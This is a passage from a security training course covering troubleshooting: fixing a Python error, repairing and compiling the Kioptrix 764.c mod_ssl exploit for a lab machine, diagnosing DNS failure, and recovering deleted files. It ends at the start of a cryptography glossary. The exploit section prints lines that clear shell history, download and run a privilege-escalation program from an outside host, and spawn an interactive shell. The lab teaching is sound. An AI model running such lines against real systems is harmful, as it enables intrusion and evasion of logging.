name = raw_input("What is your name?: ")
age = int(input("How old are you?: "))
print("Hello " + name + ". " + str(age) + " is a great age to be!")
Listing 22 - The debug statements are removed from the code to make it cleaner and remove unnecessary output to the user
Now that the debug code has been removed, we won't have unnecessary
output shown to the user on the script execution. Just to be sure that
we didn't remove anything important, let's execute the script again.
kali@kali:~$ ./userAge.py
What is your name?: August
How old are you?: 31
Hello August. 31 is a great age to be!
Listing 23 - The script runs as we intended
The script runs successfully. We can say that we successfully resolved
the error from the initial script execution. The most important
thing to understand with this example is not fixing the code, but the
process of determining the nature of the error, testing each part of
the code that is related to that error, testing suspicions to make
sure they are valid, and executing on a solution.
We took the approach of first "googling" the error message exactly
as it was shown to us. Then we read some information about a similar
issue online. After that, we verified that our variables were a string
and an integer that could not be combined in the print statement.
Once we determined this, we made the output of all strings by changing
age to a string type. We tested our solution to ensure that it was
appropriate. Lastly, we fixed our code by cleaning up the debugging
statements used to troubleshoot the problem.
Now that we were able to troubleshoot a fairly simple example, let's
move on to a more challenging one. The same skills outlined in the
simple example will still apply, but the next example will require
more effort.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 2 hours and 15 minutes to
complete.
Troubleshooting is a necessary skill to use when coming across
exploits that no longer work, intentionally are released broken, or
to customize for our own purposes. We'll discuss a VulnHub[562]
machine called Kioptrix: Level 1.[563] To remain focused on
troubleshooting, we'll take some liberties with the vulnerable machine
and skip to the exploit that needs to be fixed. Before we begin this
process, let's create a directory under Documents and navigate
into it to keep our work more organized.
kali@kali:~$ mkdir Documents/Kioptrix1
kali@kali:~$ cd Documents/Kioptrix1
kali@kali:~/Documents/Kioptrix1$
Listing 24 - The Kioptrix1 directory is created under Documents
Skipping the process of finding out what exploit we want to use, let's
use searchsploit for exploit EDB-ID 764.[564] We'll
use the binary name "764.c" in our search to limit the results.
Note that this exploit title contains a word that is considered
offensive by some people. We will avoid referring to it by name but be
aware that it's extremely common to encounter "colorful" language in
exploits.
kali@kali:~/Documents/Kioptrix1$ searchsploit 764.c
------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------- ---------------------------------
Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck | unix/remote/764.c
Microsoft Windows - VHDMP ZwDeleteFile Arb | windows/local/40764.cs
Symantec AntiVirus - IOCTL Kernel Privileg | windows/local/28764.c
TechSmith Snagit 10 (Build 788) - 'dwmapi. | windows/local/14764.c
------------------------------------------- ---------------------------------
------------------------------------------- ---------------------------------
Shellcode Title | Path
------------------------------------------- ---------------------------------
Windows/x86 (XP Professional SP2) - calc.e | windows_x86/43764.c
------------------------------------------- ---------------------------------
kali@kali:~/Documents/Kioptrix1$
Listing 25 - The exploit is the first in the listing
We can copy the exploit into our current working directory with the
-m option in searchsploit, providing the path for the
exploit we want to use.
kali@kali:~/Documents/Kioptrix1$ searchsploit -m unix/remote/764.c
...
Copied to: /home/kali/Documents/Kioptrix1/764.c
Listing 26 - The exploit code is copied to the current working directory
Before attempting to compile any exploit, the code should be
carefully examined. We do this to avoid executing malicious code
against our own host. For the sake of this scenario, we'll just
inspect the first few lines and validate that the exploit we are using
is safe. In normal practice, all of the code needs to be reviewed. In
this case, we already did that review to save time in the explanation.
kali@kali:~/Documents/Kioptrix1$ head -n 20 764.c
/*
* E-DB Note: Updated exploit ~ https://www.exploit-db.com/exploits/47080
...
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <errno.h>
#include <string.h>
#include <stdio.h>
#include <unistd.h>
...
Listing 27 - Comments at the beginning of the script indicate there are updated exploits for this code
The first comment indicates that there is an updated exploit and
later refers to a website that covers how to update the exploit to
make it work. Instead of using the updated exploit, we'll go through
the troubleshooting process. With the exploit code being reviewed and
deemed safe for compilation and execution, let's try to compile it.
kali@kali:~/Documents/Kioptrix1$ gcc -o OFExploit 764.c -lcrypto
764.c:21:10: fatal error: openssl/ssl.h: No such file or directory
21 | #include <openssl/ssl.h>
| ^~~~~~~~~~~~~~~
compilation terminated.
Listing 28 - The compilation fails with an error
An error is output to the terminal and the compilation of the code
stops. We observe this error happens on line 21, but the syntax
follows a correct #include format in C. Let's google this error
message and determine if that can help us determine what is wrong.
The first link is a post on Stack Overflow.
Although this post is about the installation of Git, the underlying
issue looks very similar. Let's scroll down the page to identify if
anyone has a solution.
Since we are running Kali, let's focus on the solution that is for
Debian-based systems. Let's try to execute the command in the first
solution shown.
kali@kali:~/Documents/Kioptrix1$ sudo apt-get install libssl-dev
[sudo] password for kali:
...
The following NEW packages will be installed:
libssl-dev
0 upgraded, 1 newly installed, 0 to remove and 234 not upgraded.
Need to get 1,810 kB of archives.
After this operation, 8,160 kB of additional disk space will be used.
...
Setting up libssl-dev:amd64 (1.1.1k-1) ...
kali@kali:~/Documents/Kioptrix1$
Listing 29 - libssl-dev is newly installed
Now that we implemented the first proposed solution, let's try to
compile the C code again.
kali@kali:~/Documents/Kioptrix1$ gcc -o OFExploit 764.c -lcrypto
764.c:644:24: error: ‘SSL2_MAX_CONNECTION_ID_LENGTH’ undeclared here (not in a function) ; did you mean ‘SSL_MAX_SSL_SESSION_ID_LENGTH’?
644 | unsigned char conn_id[SSL2_MAX_CONNECTION_ID_LENGTH];
| ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~
| SSL_MAX_SSL_SESSION_ID_LENGTH
764.c:652:2: error: unknown type name ‘RC4_KEY’
652 | RC4_KEY* rc4_read_key;
| ^~~~~~~
764.c:653:2: error: unknown type name ‘RC4_KEY’
653 | RC4_KEY* rc4_write_key;
| ^~~~~~~
764.c: In function ‘read_ssl_packet’:
764.c:845:7: error: ‘MD5_DIGEST_LENGTH’ undeclared (first use in this function); did you mean ‘SHA_DIGEST_LENGTH’?
845 | if (MD5_DIGEST_LENGTH + padding >= rec_len) {
| ^~~~~~~~~~~~~~~~~
| SHA_DIGEST_LENGTH
...
Listing 30 - Different errors are shown on the terminal
The original error is not shown anymore, but a long list of other
errors is. This may feel overwhelming at first, but we'll research the
first error message and determine if anything comes up that will help
us get past this new set of issues. We'll just copy the highlighted
error in the listing above and paste that into the Google search box.
The search results are directly related to the C code we are trying
to compile. Let's open the first listing in a new tab. This result has
"764.c"[565] in the title, so it may be a good fit for
our needs.
The blog post shows the error messages that we received earlier and
goes on to explain how to resolve them. Let's implement the proposed
fix and examine if it allows us to compile the code. Here is the first
item for us to complete.
1. Add this below line 24 (the last #include):
#include <openssl/rc4.h>
#include <openssl/md5.h>
#define SSL2_MT_ERROR 0
#define SSL2_MT_CLIENT_FINISHED 3
#define SSL2_MT_SERVER_HELLO 4
#define SSL2_MT_SERVER_VERIFY 5
#define SSL2_MT_SERVER_FINISHED 6
#define SSL2_MAX_CONNECTION_ID_LENGTH 16
Listing 31 - Step 1 in the blog post
Let's go ahead and add this to the code.
kali@kali:~/Documents/Kioptrix1$ head -n 60 764.c
...
#include <openssl/ssl.h>
#include <openssl/rsa.h>
#include <openssl/x509.h>
#include <openssl/evp.h>
#include <openssl/rc4.h>
#include <openssl/md5.h>
#define SSL2_MT_ERROR 0
#define SSL2_MT_CLIENT_FINISHED 3
#define SSL2_MT_SERVER_HELLO 4
#define SSL2_MT_SERVER_VERIFY 5
#define SSL2_MT_SERVER_FINISHED 6
#define SSL2_MAX_CONNECTION_ID_LENGTH 16
/* update this if you add architectures */
#define MAX_ARCH 138
...
Listing 32 - The proposed additions are made
We added the proposed changes to our script. Now that this is
finished, let's move on to the next instruction.
2. Replace "COMMAND2" on (now) line 672:
#define COMMAND2 "unset HISTFILE; cd /tmp; wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"
Listing 33 - Step 2 in the blog post
Let's replace line 672 (or somewhere near line 672) with the proposed
change above.
kali@kali:~/Documents/Kioptrix1$ sed -n 670,677p 764.c
int encrypted;
} ssl_conn;
#define COMMAND1 "TERM=xterm; export TERM=xterm; exec bash -i\n"
//#define COMMAND2 "unset HISTFILE; cd /tmp; wget http://packetstormsecurity.nl/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"
#define COMMAND2 "unset HISTFILE; cd /tmp; wget https://dl.packetstormsecurity.net/0304-exploits/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"
long getip(char *hostname) {
Listing 34 - The original line was commented out and the proposed line was added after
Instead of replacing the line, we commented out the original line
and added the proposed change after it. This way, we know what the
original line is and do not lose the ability to revert it if needed.
We also used a sed range[566] to show the lines in the
code. The exploit is fairly long, so using head,[567]
cat,[568] or tail[569] wouldn't be practical for our
quick checks.
Now that we verified that our change matches the proposed line from
the blog, let's complete the next step.
3. Add "const" to the beginning of (now) line 970:
const unsigned char *p, *end;
Listing 35 - Step 3 in the blog post
Let's complete this now.
kali@kali:~/Documents/Kioptrix1$ sed -n 970,975p 764.c
void get_server_hello(ssl_conn* ssl)
{
unsigned char buf[BUFSIZE];
//unsigned char *p, *end;
const unsigned char *p, *end;
int len;
Listing 36 - The original line was commented out and the proposed change was added
Again, we follow the same practice as before and comment out the
original line. We verified that the new line is in place, as proposed
by the blog. Let's move on to the next instruction.
4. Replace the "if" on (now) line 1078 with:
if (EVP_PKEY_get1_RSA(pkey) == NULL) {
Listing 37 - Step 4 in the blog post
Let's follow the same practice and make this change.
kali@kali:~/Documents/Kioptrix1$ sed -n 1078,1085p 764.c
printf("send client master key: No public key in the server certificate\n");
exit(1);
}
//if (pkey->type != EVP_PKEY_RSA) {
if (EVP_PKEY_get1_RSA(pkey) == NULL) {
printf("send client master key: The public key in the server certificate is not a RSA key\n");
exit(1);
Listing 38 - The if statement is changed
With this step complete, let's continue moving down the blog instructions.
5. Replace the "encrypted_key_length" code on (now) line 1084 with:
encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], EVP_PKEY_get1_RSA(pkey), RSA_PKCS1_PADDING);
Listing 39 - Step 5 in the blog post
Again, we need to change our original exploit code.
kali@kali:~/Documents/Kioptrix1$ sed -n 1084,1095p 764.c
printf("send client master key: The public key in the server certificate is not a RSA key\n");
exit(1);
}
/* Encrypt the client master key with the server public key and put it in the packet */
//encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], pkey->pkey.rsa, RSA_PKCS1_PADDING);
encrypted_key_length = RSA_public_encrypt(RC4_KEY_LENGTH, ssl->master_key, &buf[10], EVP_PKEY_get1_RSA(pkey), RSA_PKCS1_PADDING);
if (encrypted_key_length <= 0) {
printf("send client master key: RSA encryption failure\n");
exit(1);
}
Listing 40 - The encrypted_key_length variable was changed
It is important to note that the lines do not align with the blog.
The blog post showed that the change should be on line 1084, but
the variable was on line 1089. This, of course, is because we are
commenting code out instead of replacing it. It also is a result of
empty lines being added when we copied the proposals over. Even though
these lines aren't an exact match, we can determine the destination of
the code replacement by comparing the original code with the proposed
changes. In this case, encrypted_key_length needed to be changed, so
that the variable line was found and changed.
Let's check out the next step from the blog.
6. Install "libssl-dev" (if not already installed):
apt-get install libssl-dev
Listing 41 - Step 6 in the blog post
This is a quick one since we already completed this in our first part
of troubleshooting this issue. Let's move on to the next step.
7. Compile!
# gcc -o 764 764.c -lcrypto
Listing 42 - Step 7 in the blog post
Great! Now it's time to try to compile the code. Let's do this and
observe if the changes we made will allow the code to be compiled.
kali@kali:~/Documents/Kioptrix1$ gcc -o OFExploit 764.c -lcrypto
kali@kali:~/Documents/Kioptrix1$ ls
764.c OFExploit
Listing 43 - The exploit compiled
Nice! The code is compiled, and we can list the resulting binary
in the directory it was compiled in. We will stop here for this
scenario. Again, the focus of this section is to work on the
skillset of troubleshooting. The exploit should now work if we use
it properly against Kioptrix: Level 1. Now that the problem is fixed,
we'll review what we did and move on to another scenario.
In this scenario, we started with a broken exploit. We tried to
compile it with the command line given in the code comments. This did
not work and produced an error. We took that error and copied it into
a Google search. This got us one step closer to resolving our code
issues. We tried to compile again and received a lot more errors.
Instead of allowing these errors to overwhelm us, we again took one
of the errors in a Google search. From this, we found how to resolve
the exact exploit code we were working with, complete the steps, and
successfully compile the code.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 3 hours to complete.
Troubleshooting a network connection is very common in the IT
industry, regardless of position. Understanding basic networking,
communication flows, and commands to assist in identifying information
is critical to quickly troubleshoot network-related issues. Although
commands and utilities will be touched upon, learning these tools is
out-of-scope for this section.
Refer to Linux Networking and Services 1 and 2 for a comprehensive
coverage of Linux Networking concepts that will be useful for this
section.
This section is meant to be read, instead of completing steps
hands-on. The scenario described in this section is purposefully
created to exhibit various networking issues that commonly come up
in a computer network. We'll be using our Kali Linux[368-1]
distribution for this scenario. The thought process of troubleshooting
network issues will remain the same, but the operating system in use
will change the toolsets available to resolve the issue.
In this scenario, we are going to start with the basic statement of
"the computer doesn't work." We will be taking a systematic approach
while investigating the issue. We can start by asking ourselves
questions to get more details as to what may have caused the issue.
Is the computer turned on? Is the computer plugged in with the power
strip turned on? Can the user log in?
The answer to all the questions we asked is "yes." Being more relevant
to the issue, we can state that the issue is internet-related. When we
attempt to go to google.com, the website does not load.
From here, we must try to determine what has changed since the last
time the computer was working. To be able to determine the timeline,
we must ask when it was last working properly. In this case, we know
it was working yesterday afternoon and was broken when we got back to
our machine this morning.
Let's check the status of our eth0 network interface.
kali@kali:~$ ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
ether 08:00:27:4b:72:30 txqueuelen 1000 (Ethernet)
RX packets 1901 bytes 233416 (227.9 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2001 bytes 169458 (165.4 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Listing 44 - An IP is not assigned to the eth0 interface
The computer is not picking up an IP address. As a first step, we can
restart the networking service to determine if that gets an IP on the
interface.
kali@kali:~$ sudo service networking restart
[sudo] password for kali:
kali@kali:~$ ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
ether 08:00:27:4b:72:30 txqueuelen 1000 (Ethernet)
RX packets 1901 bytes 233416 (227.9 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2001 bytes 169458 (165.4 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Listing 45 - Restarting the networking service did not resolve the issue
Restarting the network did not resolve the issue. Let's look at the
top right corner that shows the network icon to determine if this
gives any indication of the network connection.
The icon is darkened and shows an "x" on the lower right of the icon.
This indicates that the network is not connected. We may have bumped
the ethernet cable, so let's make sure the cable is plugged into the
computer.
The cable was slightly unplugged in the back of the computer. Let's
plug that back in and check the icon again.
The network icon is now white, which indicates the network is
connected again. Now, we can check if the machine is picking up an IP.
kali@kali:~$ ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.13.37.13 netmask 255.255.255.0 broadcast 10.13.37.255
inet6 fe80::a00:27ff:fe4b:7230 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:4b:72:30 txqueuelen 1000 (Ethernet)
RX packets 1901 bytes 233416 (227.9 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2016 bytes 170574 (166.5 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Listing 46 - The computer is picking up an IP address for eth0
Now the IP address of 10.13.37.13 is assigned to the computer. Let's
try to visit Google again.
It seems that we still are unable to load the site. From here,
we need to identify if anything else is different relating to the
network connection.
We can ask ourselves if we were working on anything or
experienced any similar networking problems yesterday.
We don't recall any issues when working on the computer yesterday.
We were working and went into a lab exercise where we changed the IP
configuration settings.
Let's review the configuration of the network interface using the GUI.
The interface was configured with a static IP address. Normally, the
network we use has a DHCP server that assigns the host computer's IP
addresses. Let's change this back to a DHCP setting and also remove
the DNS server that was manually added.
We'll disconnect and reconnect the network connection to have the
interface bring in the DHCP configuration. After this, let's run
ifconfig to determine if the DHCP address is assigned to this
host.
kali@kali:~$ ifconfig eth0
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::a00:27ff:fe4b:7230 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:4b:72:30 txqueuelen 1000 (Ethernet)
RX packets 2252 bytes 491221 (479.7 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 3485 bytes 283944 (277.2 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Listing 47 - The IP is now being assigned by the DHCP server
Now that the IP address is correct, let's try to access Google to
determine if we have resolved the issue.
The host computer still cannot connect. Let's try to
ping google.com and determine if we get a response.
kali@kali:~$ ping -c 4 google.com
ping: google.com: Temporary failure in name resolution
Listing 48 - There is an issue with the name resolution for google.com
It seems we are having an issue with name resolution. To test
the network functionality, let's use a different computer that works
to determine the IP address of google.com.
Using ping from a working host, we determined the IP address
is 172.217.5.206. Let's ping this IP on the host that
isn't working to ensure that the issue is only related to the name
resolution.
kali@kali:~$ ping -c 4 172.217.5.206
PING 172.217.5.206 (172.217.5.206) 56(84) bytes of data.
64 bytes from 172.217.5.206: icmp_seq=1 ttl=63 time=31.2 ms
64 bytes from 172.217.5.206: icmp_seq=2 ttl=63 time=22.8 ms
64 bytes from 172.217.5.206: icmp_seq=3 ttl=63 time=62.1 ms
64 bytes from 172.217.5.206: icmp_seq=4 ttl=63 time=47.5 ms
--- 172.217.5.206 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss , time 3005ms
rtt min/avg/max/mdev = 22.777/40.900/62.106/15.120 ms
Listing 49 - The network has outside connectivity
With the confirmation that the host can reach the Google
server, let's inspect the file responsible for name resolution
(/etc/resolv.conf).
kali@kali:~$ cat /etc/resolv.conf
# Generated by NetworkManager
search offsec.com
Listing 50 - The /etc/resolv.conf file is missing the nameserver entry
The resolv.conf file is missing the nameserver entry
that would tell the host where to go for name resolutions. We'll need
to add this to the configuration file. We should also monitor this
problem in case it happens with any of our other devices.
After confirming the IP address of the DNS server is our router
at 192.168.1.1, we'll update /etc/resolv.conf.
kali@kali:~$ cat /etc/resolv.conf
# Generated by NetworkManager
search offsec.com
nameserver 192.168.1.1
Listing 51 - The nameserver entry is added to the /etc/resolv.conf file
Now, let's try to ping google.com again.
kali@kali:~$ ping -c 4 google.com
PING google.com (142.250.217.142) 56(84) bytes of data.
64 bytes from lax31s19-in-f14.1e100.net (142.250.217.142): icmp_seq=1 ttl=63 time=27.7 ms
64 bytes from lax31s19-in-f14.1e100.net (142.250.217.142): icmp_seq=2 ttl=63 time=30.1 ms
64 bytes from lax31s19-in-f14.1e100.net (142.250.217.142): icmp_seq=3 ttl=63 time=35.6 ms
64 bytes from lax31s19-in-f14.1e100.net (142.250.217.142): icmp_seq=4 ttl=63 time=52.9 ms
--- google.com ping statistics ---
4 packets transmitted, 4 received, 0% packet loss , time 3003ms
rtt min/avg/max/mdev = 27.679/36.577/52.922/9.863 ms
Listing 52 - The name now resolves
With the name resolution error resolved, let's verify if we can access
the site from our browser.
We are now able to pull up Google's homepage. From here, we can get
back to work.
Of course, this is only one scenario in a networking capacity, but
let's analyze the troubleshooting flow in this scenario. The first
thing we needed to know is if the computer was able to be turned on.
If not, is it plugged in? If it is plugged in, is the power strip on?
Were we able to log in to the machine? What changed since the last
time the computer was working? What is the underlying issue?
Since the issue was network-related, we can ask the following
questions. Does the host have an IP address? Is the cable plugged in?
Is the interface enabled? Did something cause a network configuration
to change? What is the expected network configuration? Does the
machine have connectivity with anything else?
When each step is completed, we can repeat these questions as it
relates to the observations we make. We also, of course, need to read
any errors that are displayed when attempting to resolve the problem.
Even when one error is resolved, there may be more errors that are
found in the pursuit of the final resolution. We take the problems one
at a time and resolve them gradually. We use the utilities available
to us to determine if we can get details on what may be wrong with
the system we are working with. If we are unsure as to what an
error means, we can use a host that works and search Google for any
potential fixes.
Troubleshooting can be iterative in the fact that these methodologies
in overcoming a problem may be repeated more than once. Asking
critical questions about the issue will lead us closer to a final
solution.
Again, this is only one example to demonstrate this thought cycle.
Having a base understanding of how networking works is also a valuable
tool in the troubleshooting process. At the end of this scenario,
we were able to resolve our issue and continue knowing that working
through the troubleshooting process allowed us to return to our work.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 1 hour and 30 minutes to
complete.
Sometimes, things happen that can cause a great deal of stress and
panic. The event of deleting an important file, can create many
different emotions at once. The idea of being able to resolve critical
issues under extreme pressure is going to be the focus of this
section. Deleting an important file is certainly not the only critical
failure that will bring these emotions out, but it is an event that
many IT professionals have experienced at some point in their careers.
Again, we'll be using our Kali host to demonstrate the process of
recovering our missing file. It may be difficult to complete the steps
within this scenario, so follow along with the methodology of
finding a solution to our problem.
As a setup, we were working on a penetration test and completed
our report. After the report was written, we were in the process
of cleaning up files that were no longer needed and taking up space
on our Kali host. As part of the process, we ran the command rm
-rf ./*. We didn't realize that we were in the wrong directory
before we entered y to delete all of our files.
kali@kali:~/Documents/Penetration_Test$ ls
10.0.1.12 10.0.1.16 10.0.1.17 10.0.1.23 PenTestReport.pdf Trash
kali@kali:~/Documents/Penetration_Test$ rm -rf ./*
zsh: sure you want to delete all 6 files in /home/kali/Documents/Penetration_Test/. [yn]? y
kali@kali:~/Documents/Penetration_Test$ ls
kali@kali:~/Documents/Penetration_Test$
Listing 53 - All the files for our penetration test are gone
At this moment, we start sweating. Our breathing gets heavier. We lost
all of the work for our entire engagement. We didn't have this backed
up to another drive. Not only is the report missing, but even all of
the data we collected during the engagement is gone! What are we going
to do?! The report is due tomorrow morning, and we couldn't redo all
of our work - even if wanted to.
The first step is to stop and breathe, then take a few moments to
collect ourselves. Yes, this is a really big problem. The question we
need to ask ourselves is whether we can recover from this mistake. We
certainly can't do this if we let ourselves get into a panic. If we
try to recover from this in a panic, we will most likely not be able
to think critically and end up making things worse.
Once we collect ourselves from the initial panic that was about
to set in, let's first try to find out how we can recover our
PenTestReport.pdf file. If we can recover this, we can still
provide the report to our client and consider our work complete.
Let's search for "how to recover a deleted file in Linux".
In the article[570] from the first
result, there are three methods for recovering a deleted file. These
are unmounting, lsof, and Foremost. The first method covers using a
live boot media.[571] Let's try to skip that method for now
and check if there are alternative methods that can be used local to
our Kali host first. Let's review the lsof method and find out if
this is going to work or not.
The instructions state to run the lsof command with a
grep for part of the missing file's name. The name of our
file was "PenTestReport.pdf," so let's try to run the command with a
grep for "PenTest".
kali@kali:~/Documents/Penetration_Test$ lsof | grep -i PenTest
kali@kali:~/Documents/Penetration_Test$
Listing 54 - The lsof command did not return any results
The command did not return any results, so this method will not
work for what we need. This penetration test report is important
to recover, so let's try the last method in this article. The
instructions state to install a utility called foremost. Let's
try to install this now. We also need to keep in mind that we do not
want to overwrite the drive space that this file is stored. The more
changes that are made to the system, the riskier this process will
get.
kali@kali:~/Documents/Penetration_Test$ sudo apt-get install foremost
[sudo] password for kali:
...
The following NEW packages will be installed:
foremost
0 upgraded, 1 newly installed, 0 to remove and 234 not upgraded.
Need to get 42.7 kB of archives.
After this operation, 106 kB of additional disk space will be used.
...
Setting up foremost (1.5.7-9.1) ...
...
Listing 55 - The foremost utility is installed
Now that we have foremost installed, let's try to modify the command
in the instructions to search for our lost file.
The instructions contain the following command to find deleted images:
sudo foremost -v -q -t png -i /dev/sda1 -o ~/test. The file
is not an image, and we don't have a test directory. Let's
make a directory and try to change the -t option to a pdf
since this is the file type we are attempting to recover.
kali@kali:~/Documents/Penetration_Test$ mkdir Recovery
kali@kali:~/Documents/Penetration_Test$ sudo foremost -v -q -t pdf -i /dev/sda1 -o ./Recovery
[sudo] password for kali:
Foremost version 1.5.7 by Jesse Kornblum, Kris Kendall, and Nick Mikus
Audit File
Foremost started at Mon Aug 30 11:08:22 2021
Invocation: foremost -v -q -t pdf -i /dev/sda1 -o ./Recovery
Output directory: /home/kali/Documents/Penetration_Test/Recovery
Configuration file: /etc/foremost.conf
Processing: /dev/sda1
|------------------------------------------------------------------
File: /dev/sda1
Start: Mon Aug 30 11:08:22 2021
Length: 59 GB (63399002112 bytes)
Num Name (bs=512) Size File Offset Comment
*********0: 01883648.pdf 137 KB 964427776
************************************************1: 11845632.pdf 1 MB 6064963584
*******************************************************************2: 25526456.pdf 617 B 13069545472
*3: 25732200.pdf 4 MB 13174886400
********************4: 29746776.pdf 617 B 15230349312
5: 29750984.pdf 137 KB 15232503808
6: 29818880.pdf 1 MB 15267266560
7: 29824464.pdf 4 MB 15270125568
**********************************************************************************8: 46526536.pdf 14 KB 23821586432
*******************************************************************************************************9: 67632696.pdf 1 KB 34627940352
10: 67632744.pdf 1 KB 34627964928
11: 67632792.pdf 1 KB 34627989504
12: 67632840.pdf 4 KB 34628014080
13: 67632896.pdf 1 KB 34628042752
14: 67632960.pdf 1 KB 34628075520
15: 67633000.pdf 22 KB 34628096000
********************************************************************************************************************************************************************16: 101254624.pdf 32 KB 51842367488
17: 101254696.pdf 56 KB 51842404352
18: 101254816.pdf 28 KB 51842465792
19: 101254880.pdf 35 KB 51842498560
20: 101254952.pdf 29 KB 51842535424
21: 101255016.pdf 27 KB 51842568192
22: 101256200.pdf 20 KB 51843174400
********************23: 105361656.pdf 1 KB 53945167872
24: 105361696.pdf 1 KB 53945188352
25: 105361736.pdf 1 KB 53945208832
26: 105361784.pdf 1 KB 53945233408
*******************************************************************************************|
Finish: Mon Aug 30 11:09:09 2021
27 FILES EXTRACTED
pdf:= 27
------------------------------------------------------------------
Foremost finished at Mon Aug 30 11:09:09 2021
Listing 56 - 27 PDFs are recovered
It shows that we have recovered 27 PDF files. The names of the files
are a series of numbers, so we'll have to review each file to check
if we successfully recovered the PenTestReport.pdf file we
need. We can open the folder with the GUI to check the PDFs that were
recovered.
When trying to open any of the files, we get a permission denied
error
When running our foremost command, we used sudo to elevate
privileges. Let's change the owner and group to our user and group
(kali:kali) for the directory that contains the recovered PDF files.
kali@kali:~/Documents/Penetration_Test$ cd Recovery
kali@kali:~/Documents/Penetration_Test/Recovery$ ls -al
total 16
drwxr-xr-x 3 kali kali 4096 Aug 30 11:08 .
drwxr-xr-x 3 kali kali 4096 Aug 30 11:07 ..
-rw-r--r-- 1 root root 1946 Aug 30 11:09 audit.txt
drwxr-xr-- 2 root root 4096 Aug 30 11:09 pdf
kali@kali:~/Documents/Penetration_Test/Recovery$ sudo chown -R kali:kali pdf
kali@kali:~/Documents/Penetration_Test/Recovery$ ls -al
total 16
drwxr-xr-x 3 kali kali 4096 Aug 30 11:08 .
drwxr-xr-x 3 kali kali 4096 Aug 30 11:07 ..
-rw-r--r-- 1 root root 1946 Aug 30 11:09 audit.txt
drwxr-xr-- 2 kali kali 4096 Aug 30 11:09 pdf
...
Listing 57 - The pdf directory and files are now owned by kali:kali
When we made this change, the PDF files also look different in the GUI.
From here, we can open the PDF files and check if our deleted
file was recovered. After viewing the PDFs, we found our report in
25732200.pdf.
Phew! This was a major bullet dodged! We can now rename the PDF file
and provide our work to the customer.
The key takeaway in this section was not the process of recovering
a file. The idea that should be focused on in this section is how to
approach a problem that has a lot of pressure and stress. Preventing
ourselves from going into a panic allowed us to search for a solution,
attempt a few methods, and address the problem one step at a time.
Sometimes there are issues that we can't recover from, as well. Taking
it one step at a time, reporting the issue to anyone else involved,
and not falling to despair are critical skills alongside the technical
skills required to fix problems.
This Module certainly does not account for all scenarios you will face
in your career, but these methodologies on how to approach problems
will come in handy.
In this Module, we will cover the following Learning Units:
Cryptography,[572] from the Greek word "kryptos"
(meaning concealed), involves the concealment of information
from third-parties. In this Module, we will discuss the basics of
cryptography, including encoding, hashing, and encryption.
The CIA triad is a foundational concept in Information
Security.[573]^,[574] Perhaps as a bit of
review, we'll remind ourselves that the CIA acronym refers to
the Confidentiality, Integrity, and Availability of our data.
Cryptography itself is concerned with the first two
thirds of that triad--the confidentiality and integrity of data.
Since cryptography plays such a critical role in data protection,
especially when it comes to secure communications, it's extremely
important for a security professional to be familiar with the key
concepts.
In the following Learning Units, we will first learn about data
transformation mechanisms such as encoding and hashing. Then, we will
learn about symmetric and asymmetric encryption.
This Learning Unit covers the following Learning Objectives:
Since Cryptography tends to use quite a bit of jargon, let's think of
this Learning Unit as a sort of glossary of terms that we can return
to as needed. In alphabetical order, here are a number of the terms we
may encounter.
AES: 128-bit symmetric-key block cipher with three fixed key size
variants.
Asymmetric encryption: Model of encryption that uses the
recipient's public key to encrypt a message, and the recipient's
private key to decrypt a message.
Bit: The smallest unit of binary data. Must be either 0 or 1.
Block Cipher: An encryption algorithm that operates on a group of bit
at once rather than only one bit at a time. Contrast with Stream Cipher.
Blowfish: 64-bit symmetric-key block cipher with variable key
size.
Byte: Eight bits of binary data. There are 256 (2^8) potential
values.
Cipher text: Text that has been transformed into an unreadable
message via some encryption algorithm.
Clear text: Human-legible text. Can be transformed into cipher
text via an encryption algorithm. Synonym of "plain text".
Cryptographic key: A string of bits used by a cryptographic
algorithm to transform plain text into cipher text or vice versa.
Decoding: The opposite of encoding.
Decryption: The opposite of encryption.
Digest: The output of a hashing algorithm. Synonym for "hash".
Encoding: A means of transforming data from one format to another.
Encryption: The process of scrambling data or messages, making it
unreadable and secret.
Entropy: The amount of unpredictability in a given ciphertext.
Entropy colloquially refers to how close the ciphertext is to ideal
randomly generated text.
Fundamental Theorem of Arithmetic: The mathematical statement
that every natural number greater than 1 must be either prime or a
product of unique prime factors. Forms the basis of many asymmetric
cryptography implementations.
Hash: The output of a hashing algorithm. Synonym for "digest".
Hashing algorithm: A one-way function that takes arbitrary
input and produces fixed-length output, such that every unique input
produces unique output with very high probability.
MD5:[575] Widely used hashing function that produces a
